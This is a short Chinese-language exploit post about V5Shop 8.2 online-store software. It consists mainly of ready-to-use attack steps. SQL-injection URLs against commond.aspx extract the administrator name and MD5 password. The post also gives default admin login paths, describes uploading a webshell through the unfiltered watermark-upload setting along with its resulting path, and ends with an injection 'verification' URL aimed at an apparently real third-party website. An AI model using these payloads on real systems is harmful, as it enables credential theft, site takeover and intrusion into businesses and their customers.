### 简要描述
V5Shop网店系统是上海威博旗下一款B2C网上开店软件产品,适合中小型企业及个人快速构建个性化网上商店。该程序V5shop8.2存在通杀SQL注入漏洞且非常严重,可直接爆出管理员帐号密码,后台上传也可做任何过滤。
### 利用EXP:
```
/commond.aspx?id=1 and 1=(select top 1 [name] from web_admin)
```
上面这个可以直接显示出管理员用户名

```
/commond.aspx?id=1 and 1=(select top 1 [pass] from web_admin)
```
上面这个可以显示MD5密码

默认后台地址:
```
/weblogin/Login.aspx
```
或者后台地址:
```
/admin/Login.aspx
```
登陆后台后,拿webshell的方法非常简单,直接系统管理—参数设置—水印设置

这里没做任何过滤可上传任意木马文件格式
木马上传后地址:UploadFile/Picture/木马名称.asp

### 验证地址:
```
http://www.diroadint.com/commond.aspx?id=1%20and%20@@version>0
```

全部评论 (4)